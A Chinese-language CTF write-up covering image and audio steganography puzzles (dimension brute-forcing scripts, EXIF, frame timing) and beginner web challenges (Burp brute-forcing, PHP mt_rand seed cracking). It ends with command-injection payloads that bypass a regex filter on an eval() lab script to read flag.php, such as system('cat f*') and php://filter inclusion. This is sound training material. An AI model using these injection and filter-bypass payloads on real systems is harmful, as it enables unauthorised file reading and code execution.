目录
萌新隐写6
用工具打开,注意最上方。发现左声道是摩斯电码
将蓝图标移到最左边。导出文件
这里我导出以wav形式 ,看大佬说可以导出Mp3,但是我导出后听不出来
misc21
- hex()是将十进制转为十六进制
借助EXIF查看器,找到序列,进行十六进制转换
拼接两处
misc22
打开010editor,搜索jpg文件头FFD8分别分离出来,就看到了flag
也可以用工具magicexif
misc23
Hint:flag在时间里。
kali下载exiftool进行查看
借助时间戳网址时间戳转换网址,一一转换拼接得flag
misc41
jpg文件头FFD8FF,文件尾FFD9。打开010editor只看到了文件尾。原来是直接搜索F001,直接看到了flagz
misc24
bmp图片计算图片宽高,一般图片都是900px*150px
查看文件头,占53个字节
一个像素=3个字节
一共675053个字节,后面两个是windows补0.
像素数=(675053-53)/3=225000=宽*高
高=225000/900=250
转换为十六进制是FA
misc25
随便改高出来flag
misc26
借助脚本
import struct
import binascii
import os
m = open(r"C:/Users/Lenovo/Desktop/misc26.png", "rb").read()
k = 0
for i in range(5000):
if k == 1:
break
for j in range(5000):
c = m[12:16] + struct.pack('>i', i) + struct.pack('>i', j)+m[24:29]
crc = binascii.crc32(c) & 0xffffffff
if crc == 0xec9ccbc6:
k = 1
print(hex(i), hex(j))
break
misc27
多修改试试,高出不来就试试宽
misc28
解锁一种修改宽高新姿势
打开原图发现没有变化,那就用stegsolve打开
misc29
思路和上一题一样,但由于是动图,需要修改每一帧的高度,最后用stegsolve一个个翻,得出flag
misc30
修改高度
misc31
思路和misc24一样,最后算出宽为1082
misc32,33
思路和misc26一样,借助脚本
misc34
下载图片png.同样借助脚本,
import zlib
import struct
filename = "C:/Users/Lenovo/Desktop/misc34.png"
with open(filename, 'rb') as f:
all_b = f.read()
#w = all_b[16:20]
#h = all_b[20:24]
for i in range(901,1200):
name = str(i) + ".png"
f1 = open(name,"wb")
im = all_b[:16]+struct.pack('>i',i)+all_b[20:]
f1.write(im)
f1.close()
misc35
下载图片jpg,同时修改图片高度
import zlib
import struct
filename = "C:/Users/Goodric/Desktop/misc35.jpg"
with open(filename, 'rb') as f:
all_b = f.read()
#w = all_b[159:161]
#h = all_b[157:159]
for i in range(901,1200):
name = str(i) + ".jpg"
f1 = open(name,"wb")
im = all_b[:159]+struct.pack('>h',i)+all_b[161:]
f1.write(im)
f1.close()
misc36
下载动图gif,修改高度后用脚本
import zlib
import struct
filename = "misc36.gif"
with open(filename, 'rb') as f:
all_b = f.read()
for i in range(920,951):
name = str(i) + ".gif"
f1 = open(name,"wb")
im = all_b[:38]+struct.pack('>h',i)[::-1]+all_b[40:]
f1.write(im)
f1.close()
misc37
下载动图gif,放在stegsolve一个个翻出来
misc38
下载图片png,但是打开010editor发现
这是区分png和apng的关键
这里推荐用apngdisassembler直接分离每一帧,找找就好了。
misc39
这题也是一个gif,不过这里是利用不同帧之间的间隔时间
来隐写的。
这里利用linux下的工具identify
安装命令:sudo apt-get install imagemagick
基本的命令格式:
identify [options] input-file
identify:命令名称
options:参数
input-file:文件名。
提取命令:identify -format "%T " misc39.gif > 1.txt
得到的一串36和37,考虑把37换成1、36换成0
,就得到长度为287
的二进制字符串,因为flag是41字符,考虑每7
位转一个字符(正常是8
位一组),得到flag。
s="11000111110100110011011100111101000110111111101111111011011010101100100111000011000101100101100110110011001110010111001011010111001101100010011011111000101100101011001001101100111000110010001110010110110011001111000010111001110010111000101100011110000101100000110100011010101110011111101"
flag=""
for i in range(41): #287//7
flag += chr(int(s[7*i:7*(i+1)],2))
print(flag)
misc40
这题给了个apng,因为也是动态的,所以思路同上题。
在做misc38的时候使用了工具APNG Disassembler
,当时分离出来的除了每一帧的图片外,还有一个记录了详细信息的txt文件,里面就有我们需要的信息,然后就是写脚本了。
flag=""
for i in range(28,69): #flag内容从28位开始
f = open('apngframe'+str(i)+'.txt')
s = f.read()
flag += chr(int(s.split("/")[0][6:]))
print(flag)
爆破:
web21
方法1
出现basic,用base64解密发现就是输入的用户密码。那就丢进intruder爆破
注意:Payload Encode
取消勾选的 URL-encode
, 不然你会看到 base64 之后的 =
会被转成 %3d
方法2
web23
对substr()函数的理解
第2,15,18数字相等,且第2个数+第15个数+ 第18个数/第二个数=第32个数
学习一个php脚本
<?php
$dict = "0123456789qwertyuiopasdfghjklzxcvbnm";
for ($i = 0;$i < 36;$i++){
for ($j = 0;$j<36;$j++){
$token=md5($dict[$i].$dict[$j]);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo ('原字符串为:'.$dict[$i].$dict[$j]),PHP_EOL;
echo ('加密后字符串为:'.$token);
}
}
}
}
?>
解出结果为3j
web24
打开题目发现如下页面
参考这一篇php随机函数mt_rand()产生的小问题大漏洞
- 做测试发现,不管测试几次,产生的随机数不会变。那就让r=测试数
- intval()
<?php
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8); // 42
echo intval('42', 8); // 34
?>
总结:intval()函数功能
1、参数一定是数字否则会报错,
2、如果是数字那一定是整数,如果有小点,那会省略掉,
3,强调参数可以有“-”值。
4、参数第一位不应为0开头,不然会自动转换十进制。
web25
- if((!$rand)) 表示 $rand==0,$rand = intval($r)-intval(mt_rand()); ,那么可知 $r==mt_rand
- COOKIE 中传入的值token是 mt_rand()+mt_rand()
- 因为生成的随机数可以说是一个线性变换(实际上非常复杂)的每一次的确定的但是每一次是不一样的,所以不能 进行第一次*2就得到mt_rand()+mt_rand() 使用说只要我们得到种子就可以在本地进行获得自己想要的值 解题
这里用到工具php_mt_seed,在kali运行
我们用?r=0得到随机数
972219911
打开kali
将下载的php_mt_seed拖入文件,右击文件php_mt_seed.c.点Open terminal here
先输入make ,然后 ./php_mt_seed 随机数
可以看到爆破出几个seed。用代码试试
<?php
mt_srand(137241821);
echo mt_rand().'<br>';
?>
发现137241821得到的随机数是97221991
在写代码得到r和cookie
<?php
mt_srand(137241821);
echo mt_rand().'<br>';
echo mt_rand()+mt_rand();
?>
最后在burpsuite里面输入值
web26
提交空链表,抓包得flag
web27
用burpsuite的data模块爆破日期
打开有个表
这里需要提交
进行爆破
爆破后 得到一串uncode编码,解析得到flag
web28
爆破目录去掉2.txt, 设置从0~100,使用Cluster bomb模块
命令执行
web29
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
绕过特殊字符过滤
- preg_match函数是进行正则表达式的匹配,成功返回1,否则返回0
?c=system('ls');//flag.php index.php
?c=system('cat f*');//glob1
?c=system('cat f?ag.php');//glob2
?c=system('cat f\lag.php');//转义字符实现绕过
?c=system("cat f''lag.php");
?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php//直接将题目变成文件包含漏洞
?c=eval($_GET[1]);&1=system('cat flag.php'); //马中马嵌套过滤